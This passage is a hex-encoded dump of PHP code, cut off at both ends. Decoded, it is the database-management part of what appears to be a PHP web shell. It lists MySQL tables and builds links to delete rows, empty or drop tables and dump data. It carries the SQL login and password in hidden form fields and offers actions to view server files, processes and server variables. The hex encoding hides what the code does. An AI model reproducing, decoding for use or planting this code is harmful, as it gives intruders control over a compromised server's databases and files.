3D 3D 20 22 61 22 29 20 7B 24 73 20 3D 20 22 64 22 3B 20 24 6D 20 3D 20 22 61 73 63 22 3B 7D 0A 20 20 20 20 20 20 20 65 6C 73 65 20 7B 24 73 20 3D 20 22 61 22 3B 20 24 6D 20 3D 20 22 64 65 73 63 22 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 65 5B 30 5D 29 29 20 7B 24 65 5B 30 5D 20 3D 20 22 61 22 3B 7D 0A 20 20 20 20 20 20 20 69 66 20 28 24 65 5B 31 5D 20 21 3D 20 24 76 29 20 7B 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 65 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 65 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 73 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 26 73 71 6C 5F 6F 72 64 65 72 3D 22 2E 24 65 5B 30 5D 2E 22 25 32 30 22 2E 24 76 2E 22 5C 22 3E 3C 62 3E 22 2E 24 76 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 22 2E 24 76 2E 22 3C 2F 62 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 65 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 65 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 73 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 26 73 71 6C 5F 6F 72 64 65 72 3D 22 2E 24 73 2E 22 25 32 30 22 2E 24 76 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 22 2E 24 6D 2E 22 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 61 6C 74 3D 5C 22 22 2E 24 6D 2E 22 5C 22 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 5C 22 67 72 65 65 6E 5C 22 3E 3C 62 3E 41 63 74 69 6F 6E 3C 2F 62 3E 3C 2F 66 6F 6E 74 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 41 53 53 4F 43 29 29 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 20 20 20 20 24 77 20 3D 20 22 22 3B 0A 20 20 20 20 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 72 6F 77 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 24 6E 61 6D 65 20 3D 20 6D 79 73 71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 72 65 73 75 6C 74 2C 24 69 29 3B 20 24 77 20 2E 3D 20 22 20 60 22 2E 24 6E 61 6D 65 2E 22 60 20 3D 20 27 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 76 29 2E 22 27 20 41 4E 44 22 3B 20 24 69 2B 2B 3B 7D 0A 20 20 20 20 20 20 20 69 66 20 28 63 6F 75 6E 74 28 24 72 6F 77 29 20 3E 20 30 29 20 7B 24 77 20 3D 20 73 75 62 73 74 72 28 24 77 2C 30 2C 73 74 72 6C 65 6E 28 24 77 29 2D 33 29 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 62 6F 78 72 6F 77 5B 5D 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 77 2E 22 5C 22 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 72 6F 77 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 24 76 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 29 3B 0A 20 20 20 20 20 20 20 20 69 66 20 28 24 76 20 3D 3D 20 22 22 29 20 7B 24 76 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 5C 22 67 72 65 65 6E 5C 22 3E 4E 55 4C 4C 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 20 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 76 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 61 63 74 3D 71 75 65 72 79 26 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 73 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 65 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 65 2E 22 26 73 71 6C 5F 71 75 65 72 79 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 44 45 4C 45 54 45 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 20 57 48 45 52 45 22 2E 24 77 2E 22 20 4C 49 4D 49 54 20 31 3B 22 29 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 71 6C 5F 62 75 74 74 6F 6E 5F 64 72 6F 70 5C 22 20 61 6C 74 3D 5C 22 44 65 6C 65 74 65 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 33 5C 22 20 77 69 64 74 68 3D 5C 22 31 31 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 5F 61 63 74 3D 69 6E 73 65 72 74 26 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 73 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 65 3D 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 65 2E 22 26 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 77 29 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 63 68 61 6E 67 65 5C 22 20 61 6C 74 3D 5C 22 45 64 69 74 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 34 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 70 20 61 6C 69 67 6E 3D 5C 22 6C 65 66 74 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 61 72 72 6F 77 5F 6C 74 72 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 61 63 74 5C 22 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 57 69 74 68 20 73 65 6C 65 63 74 65 64 3A 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 64 65 6C 65 74 65 72 6F 77 5C 22 3E 44 65 6C 65 74 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 43 6F 6E 66 69 72 6D 5C 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 70 3E 22 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 54 41 42 4C 45 20 53 54 41 54 55 53 22 2C 20 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 20 20 20 69 66 20 28 21 24 72 65 73 75 6C 74 29 20 7B 65 63 68 6F 20 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 5C 22 50 4F 53 54 5C 22 3E 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 62 6F 78 74 62 6C 5F 61 6C 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 54 61 62 6C 65 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 52 6F 77 73 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 54 79 70 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 43 72 65 61 74 65 64 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 4D 6F 64 69 66 69 65 64 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 53 69 7A 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 41 63 74 69 6F 6E 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 20 20 20 24 74 73 69 7A 65 20 3D 20 24 74 72 6F 77 73 20 3D 20 30 3B 0A 20 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 41 53 53 4F 43 29 29 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 24 74 73 69 7A 65 20 2B 3D 20 24 72 6F 77 5B 22 44 61 74 61 5F 6C 65 6E 67 74 68 22 5D 3B 0A 20 20 20 20 20 20 20 24 74 72 6F 77 73 20 2B 3D 20 24 72 6F 77 5B 22 52 6F 77 73 22 5D 3B 0A 20 20 20 20 20 20 20 24 73 69 7A 65 20 3D 20 76 69 65 77 5F 73 69 7A 65 28 24 72 6F 77 5B 22 44 61 74 61 5F 6C 65 6E 67 74 68 22 5D 29 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 62 6F 78 74 62 6C 5B 5D 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 2E 22 5C 22 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 29 2E 22 5C 22 3E 3C 62 3E 22 2E 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 2E 22 3C 2F 62 3E 3C 2F 61 3E 26 6E 62 73 70 3B 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 22 52 6F 77 73 22 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 22 54 79 70 65 22 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 22 43 72 65 61 74 65 5F 74 69 6D 65 22 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 22 55 70 64 61 74 65 5F 74 69 6D 65 22 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 73 69 7A 65 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 61 63 74 3D 71 75 65 72 79 26 73 71 6C 5F 71 75 65 72 79 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 44 45 4C 45 54 45 20 46 52 4F 4D 20 60 22 2E 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 2E 22 60 22 29 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 71 6C 5F 62 75 74 74 6F 6E 5F 65 6D 70 74 79 5C 22 20 61 6C 74 3D 5C 22 45 6D 70 74 79 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 33 5C 22 20 77 69 64 74 68 3D 5C 22 31 31 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 61 63 74 3D 71 75 65 72 79 26 73 71 6C 5F 71 75 65 72 79 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 44 52 4F 50 20 54 41 42 4C 45 20 60 22 2E 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 2E 22 60 22 29 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 71 6C 5F 62 75 74 74 6F 6E 5F 64 72 6F 70 5C 22 20 61 6C 74 3D 5C 22 44 72 6F 70 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 33 5C 22 20 77 69 64 74 68 3D 5C 22 31 31 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 5F 61 63 74 3D 69 6E 73 65 72 74 26 73 71 6C 5F 74 62 6C 3D 22 2E 24 72 6F 77 5B 22 4E 61 6D 65 22 5D 2E 22 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 71 6C 5F 62 75 74 74 6F 6E 5F 69 6E 73 65 72 74 5C 22 20 61 6C 74 3D 5C 22 49 6E 73 65 72 74 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 33 5C 22 20 77 69 64 74 68 3D 5C 22 31 31 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 26 6E 62 73 70 3B 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 20 62 67 63 6F 6C 6F 72 3D 5C 22 30 30 30 30 30 30 5C 22 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E C2 BB 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 22 2E 24 69 2E 22 20 74 61 62 6C 65 28 73 29 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 62 3E 22 2E 24 74 72 6F 77 73 2E 22 3C 2F 62 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 30 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 31 5D 2E 22 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 62 3E 22 2E 76 69 65 77 5F 73 69 7A 65 28 24 74 73 69 7A 65 29 2E 22 3C 2F 62 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 70 20 61 6C 69 67 6E 3D 5C 22 72 69 67 68 74 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 61 72 72 6F 77 5F 6C 74 72 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 61 63 74 5C 22 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 57 69 74 68 20 73 65 6C 65 63 74 65 64 3A 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 64 72 6F 70 5C 22 3E 44 72 6F 70 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 65 6D 70 74 79 5C 22 3E 45 6D 70 74 79 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 64 75 6D 70 5C 22 3E 44 75 6D 70 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 63 68 65 63 6B 5C 22 3E 43 68 65 63 6B 20 74 61 62 6C 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 6F 70 74 69 6D 69 7A 65 5C 22 3E 4F 70 74 69 6D 69 7A 65 20 74 61 62 6C 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 72 65 70 61 69 72 5C 22 3E 52 65 70 61 69 72 20 74 61 62 6C 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 74 62 6C 61 6E 61 6C 79 7A 65 5C 22 3E 41 6E 61 6C 79 7A 65 20 74 61 62 6C 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 43 6F 6E 66 69 72 6D 5C 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 70 3E 22 3B 0A 20 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 61 63 74 73 20 3D 20 61 72 72 61 79 28 22 22 2C 22 6E 65 77 64 62 22 2C 22 73 65 72 76 65 72 73 74 61 74 75 73 22 2C 22 73 65 72 76 65 72 76 61 72 73 22 2C 22 70 72 6F 63 65 73 73 65 73 22 2C 22 67 65 74 66 69 6C 65 22 29 3B 0A 20 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 73 71 6C 5F 61 63 74 2C 24 61 63 74 73 29 29 20 7B 3F 3E 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 22 30 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 62 3E 43 72 65 61 74 65 20 6E 65 77 20 44 42 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 61 63 74 22 20 76 61 6C 75 65 3D 22 6E 65 77 64 62 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6E 65 77 64 62 22 20 73 69 7A 65 3D 22 32 30 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 43 72 65 61 74 65 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 62 3E 56 69 65 77 20 46 69 6C 65 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 61 63 74 22 20 76 61 6C 75 65 3D 22 73 71 6C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 61 63 74 22 20 76 61 6C 75 65 3D 22 67 65 74 66 69 6C 65 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 